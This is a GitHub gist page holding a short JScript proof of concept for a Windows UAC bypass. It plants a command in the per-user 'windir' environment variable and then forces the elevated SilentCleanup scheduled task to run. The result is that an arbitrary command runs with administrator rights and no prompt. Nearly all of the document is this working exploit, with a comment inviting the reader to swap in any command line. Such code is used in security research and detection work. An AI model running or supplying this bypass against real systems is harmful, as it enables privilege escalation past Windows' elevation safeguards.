Skip to content

Instantly share code, notes, and snippets.

@tyranid
Last active May 25, 2017 00:15
Show Gist options
  • Star 16 You must be signed in to star a gist
  • Fork 10 You must be signed in to fork a gist
  • Save tyranid/254fc320411132c8e9bd71e178c9d429 to your computer and use it in GitHub Desktop.
Save tyranid/254fc320411132c8e9bd71e178c9d429 to your computer and use it in GitHub Desktop.
// Use COM API to access Task Scheduler.
var service = new ActiveXObject("Schedule.Service");
service.Connect();
var root = service.GetFolder("\\Microsoft\\Windows\\DiskCleanup");
var task = root.GetTask("SilentCleanup");
// Replace this with your arbitrary command line. Note that what you call must be
// tolerant to trailing arguments and the windir enviroment variable won't get
// deleted so must be done manually otherwise things might start failing.
var CMD = "cmd.exe /K reg delete hkcu\\Environment /v windir /f && REM"
var script = new ActiveXObject("WScript.Shell");
script.RegWrite("HKCU\\Environment\\windir", CMD + " ", "REG_SZ");
// 2 == TASK_RUN_IGNORE_CONSTRAINTS which is needed otherwise task won't run due to Idle settings.
task.RunEx(null, 2, 0, "");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment